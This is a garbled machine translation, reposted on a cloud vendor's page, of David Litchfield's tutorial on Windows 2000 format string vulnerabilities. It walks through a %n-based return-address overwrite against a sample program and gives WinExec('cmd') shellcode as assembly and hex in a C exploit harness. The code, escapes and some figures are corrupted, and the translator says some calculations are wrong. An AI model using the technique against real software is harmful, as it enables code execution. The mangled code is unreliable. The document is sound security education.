[Analysis] formatting string attack in Windows 2000

Source: Internet
Author: User
Tags print format ssh server
Formatting string attack in Windows 2000

Created:
Article attributes: Translation
Article submission: refdom (refdom_at_263.net)

Translation: refdom
Email: refdom@263.net
Homepage: www.cnhonker.net
2002-2-22

Original article name: Windows 2000 Format String Vulnerabilities
Author: David Litchfield
Http://www.nextgenss.com/papers/win32format.doc download

Even if there is only one basic C language, the printf () function is used. In fact, the first program in C language textbooks is "Hello, world !", Kernighan and Ritchie's convention in the C programming language.

# Include <stdio. h>
Void main (void)
{
Printf ("/nhello, world! /N ");
}

This is not complete. in C language, when you compile and run this program, print "Hello, world!" to the screen !" It is not a simple output string to the screen. Like related programs such as fprintf (), vprintf (), and sprintf (), you just want to add "F" to the print, which is actually the print format. The formatting section allows programmers to control the display style of text. You can display values or data by replacing special format characters. For example, to display the value of the integer variable "dval", you can use the following format characters:

Printf ("The value is % d", dval );

When printing, % d is replaced by the dval value. If the programmer wants to display the same value in hexadecimal notation:

Printf ("the value in decimal is % d and in hexadecimal is % x", dval, dval );

Here, % d indicates the dval value in decimal format, and % x indicates the dval value in hexadecimal format. The following are special formatting characters in the Set:

% C single character format
% D decimal INTEGER (pre ANSI)
% E, float or double in % E Index Form
% F decimal float or double
% I INTEGER (like % d)
% O octal integer
% P address pointer
% S string
% X, % x hexadecimal integer

Of course, the function is not limited to how to control the display data type, but also to control the display width and queue.

A formatting character % N is not listed on the top, because it has special purposes, but its formatting character security problems are also very serious. % N is used to record the number of characters printed before to a variable. It is also used to measure the number of formatted bytes. Of course, a space is required to store this number. Therefore, the program needs to allocate memory for this. For example, the following code:

1. # include <stdio. h>
2. Int main ()
3 .{
4. Int bytes_formatted = 0;
5. Char buffer [28] = "abcdefghijklmnopqrstuvwxyz ";

6. printf ("%. 20x % N", buffer, & bytes_formatted );
7. printf ("/nthe number of bytes formatted in the previous printf statement was % d/N", bytes_formatted );

8. Return 0;
9 .}

After compilation, the output is shown:

0000000000000012ff64
The number of bytes formatted in the previous printf statement was 20

We declare an int type variable bytes_formatted in the fourth line. In the sixth line, formatted characters indicate that 20 characters should be in hexadecimal format ("%. 20x), % n writes the value 20 to the bytes_formatted variable. This means that we have written a value to another memory space. Now we will not discuss the impact of the translator's Writing of values or writing addresses, but discuss the ways in which these values are manipulated to cause defects (overflow). If this succeeds, attackers may obtain execution control that exceeds the program.

When a programmer tries to pass a string to a function that uses formatted characters, overflow may occur. Refer to the following program.

# Include <stdio. h>
Void main (INT argc, char * argv [])
{
Int COUNT = 1;
While (argc> 1)
{
Printf (argv [count]);
Printf (");
Count ++;
Argc --;
}
}

After compilation, run and display as follows:

Prompt: myecho hello
Hello
Prompt: myecho this is some text
This is some text

So it justs spits back what we feed in-or does it? Try:

Prompt: myecho % x
112ffc0

Note that myecho % x is not printed according to the original meaning, but is the hexadecimal number displayed? It is precisely because these are formatting characters that are passed to the printf () function, but they are not interpreted by the function and are considered as formatting characters. The security statement should be
Printf ("% s", argv [count]);
Instead:
Printf (argv [count]);

How can an attacker exploit this vulnerability? Use "% N" to format characters and write any value to their selected memory! If implemented, the program execution can be controlled. For example, on Intel, you can rewrite the address in the stack and point to their attack code, which can execute programs for any purpose. To exploit this formatting character vulnerability, you need to consider using functions, operating systems, and processor types.

Formatting character vulnerability in Windows 2000/intel

Consider the following code:

# Include <stdio. h>

Int main (INT argc, char * argv [])
{
Char buffer [512] = "";
Strncpy (buffer, argv [1], 500 );
Printf (buffer );
Return 0;
}

This program copies the first parameter to a buffer, and then passes the buffer to printf. The problematic code is this line:

Printf (buffer );

Because we can provide a formatting character as the first parameter and pass it to printf (), assuming that this program is called printf.exe after compilation.

What we need to do now is to use the address we provide to override the return address of the function in the stack. The address we provide can point to the attack code (shell code ). To achieve this goal, we need to obtain the exact number of bytes for formatting to match the address we need. For example, if our attack code is at address 0x0012ff40, we need to set the printf expression format to 0x0012ff40 bytes. Our formatted string can be:

C:/> printf %. 622496x %. 622496x % N

This allows 1244992 bytes to be formatted and printed by the printf expression. The hexadecimal value of this number is 0x0012ff40. But it is not perfect at present. We need to put the exploit code into it, which occupies the number of bytes. Therefore, we need to generate shell. in Windows 2000, this requires a maximum of 40 bytes of exploit code. Therefore, we need to modify the format string to put it into our code and then subtract 40 from 622496. It becomes:

C:/> printf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa %. 622496x %. 622456x % N

In this example, we simply use the character "a" to replace our attack code. It can be run now, but illegal access may occur because the address 0x41414141 that the program is trying to write may not be initialized. When this problem occurs, debug the program. As you can see, the unpleasant line is:

MoV dword ptr [eax], ECx

It tries to move (mov) ECx (ETC is 0x0012ff40, that is, the address we need to find) to the eax (now 0x41414141) address, the access error occurs because the region 0x41414141 has not been initialized. At the same time, we debug and find the attack code string (we just assumed that their address is 0x0012ff40), but they do not exist in 0x0012ff40, but in address 0x0012fd80. The difference is not far from that, but it must be very accurate to use. Therefore, you need to modify the format strings again. Before that, we can find a suitable target (the return address to be rewritten. We found a similar target, with the address 0x0012fd54 stored in the address 0x00401077. Therefore, we can do this similarly. The purpose is to rewrite EI to P address 0x0012fd80, which is the address of the attack code. If we push the returned address to the stack for this purpose, the process will start to execute our attack code. How can I rewrite the address 0x0012fd54, but what we just did is always trying to rewrite the address 0x41414141? Okay. This is a clue. The % N formatting character marks the pointer pointing to a certain position in the string to the end of the string. All we need to do is to change % N from a position in the formatted string to the end of the string. To achieve this goal, we need to add more % x, we use BBBB to mark the end of our string.

C:/> printf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa % x %. 622496x %. 622456x % nbbbb

This is where the program tries to write the address 0x78257825. we convert it to a decimal number and find that 0x78 is only a lowercase "X", and 0x25 is "% ", so we can see that it is still somewhere in "% x". In this way, we will continue testing and add more % x:

C:/> printf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAA % x % x % x
% X %. 622496x %. 622456x % nbbbb

This is the time. The address to be written is 0x42424242 (that is, BBBB). We replace BBBB with the return position 0x0012fd54 of the attack code. However, here we can use ASCII to easily write 0x12 or 0xfd, so we need to write another program to help us write these values. We just used % x to reach the address 0x0012fd80 that can be rewritten, and now this value is changed to 0x00130019 (refdom Note: Because there are a lot more % x, so the size of % N has also increased). We need to write less 665 bytes and change the size of 622456 to 621791. Our program is:

# Include <stdio. h>

Int main ()
{
Char buffer [500] = "printf

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa % x % x % x

% X %. 622496x %. 621791x % N/x54/XFD/X12 ";

System (buffer );

Return 0;
}

After compilation and running, another new illegal access problem occurs: The instruction at 0x0012ff90 references the memory at 0x00000030. Note that commands at 0x0012ff90 (this is a stack address), and obviously our process is trying to execute code in the stack, and our formatted string exploit takes effect! We have successfully rewritten the return address with our address and introduced the program to it. Now, we need to put the exploit code in. We just replaced it with AAA. Let's first make a confirmation to replace the previous four A into a checkpoint:

# Include <stdio. h>
Int main ()
{
Char buffer [500] = "printf ";
Charbuffer2 [] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaa % x % X
% X %. 622496x %. 621791x % N/x54/XFD/X12 ";
Strcat (buffer, "/Xcc ");
Strcat (buffer, buffer2 );
System (buffer );
Return 0;
}

(Note: In the code, charbuffer2 is four less a than the previous one, and the latter is replaced by/Xcc)

When the checkpoint is run, we return to the code. Now we can confirm that we have been able to get and control program execution, and then put our exploit code. Suppose our shell code is as follows:

Push EBP // procedure prologue-often not needed
MoV EBP, esp // procedure prologue-often not needed
Xor edi, EDI // get some nulls
Push EDI // push them onto the stack
MoV byte PTR [ebp-04h], 63 h // write 'C' of CMD
MoV byte PTR [ebp-03h], 6DH // write 'M' of CMD
MoV byte PTR [ebp-02h], 64 h // write 'd of CMD
Push EDI // push nulls again (2nd Param for winexec ())
MoV byte PTR [ebp-08h], 03 h // turn it into sw_maximize
Lea eax, [ebp-04h] // load address of cmd into eax
Push eax // push it onto stack (1st Param for winexec ())
MoV eax, 0x77e9b50e // move address of winexec () into eax
Call eax // <---- call it

In this way, our program becomes:

# Include <stdio. h>

Int main ()
{
Char buffer [500] = "printf ";
Char exploit_code [] = ","/x55/x8b/xec/x33/xFF/x57/xc6/x45/xfc/x63/xc6
/X45/XFD/x6d/xc6/x45/xfe/x64/x57/xc6/x45/xf8/x01/x8d/x45/xfc/x50/xb8/x0e/xb5/xe9 /x77/xFF/xd0/Xcc ";
Char buffer2 [] = "AAAAA % x
% X %. 622496x %. 621791x % N/x54/XFD/X12 ";

Strcat (buffer, exploit_code );
Strcat (buffer, buffer2 );

System (buffer );

Return 0;
}

The new shell is run after compilation.

This is a simple method to exploit the formatting character vulnerability in Win2000. The whole idea is: We format a string of the same size as the Exploit Code address, and use this value to overwrite the return address of the program in the stack. In this way, when the subprogram runs and returns, it does not return the original address. Instead, we continue to execute the program by replacing the address.
Using printf functions is not necessarily the same as in this example. For example, if the vsprintf function is used with problematic code (found in Van Dyke technologies 'ssh server for Windows, vshell), attackers cannot select the memory location like printf, it is restricted to the parameter list and a later address segment. For example, in vshell, 13th parameters are the address for saving this function pointer, therefore, attackers can use this address to rewrite the function pointer. For more information about this issue, see:
Http://www.atstake.com/research/advisories/2001/a021601-1.txt

Note: A note on Windows NT 4.0

The problem of formatting characters in NT4.0 is different from that in Win2000, because NT has a 516 character limit for printf () functions:

Printf ("%. 516x", foo); this is feasible,:

Printf ("%. 517x", foo); then there will be a core overflow problem.

The problem is that we need to use this Formatting Vulnerability to write a very large value. When we write this value, it must be related to the maximum width:

Printf ("%. 500x % N ", Foo, bar); write the number 500 (0x1f4) to the address of the bar. Now, suppose we need to use the address of our exploit code (which can be found in the stack) in the NT platform, this stack is usually around 0x0012ffff, so we have to write "%. 2500 X "Around times !! This requires 15,000 bytes of space. On NT, it is not as direct as Win2000.

(Refdom Remarks: For the example in the original text, I don't know whether it is an error I understand or an error in the original text. Some numbers are incorrect in size calculation)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.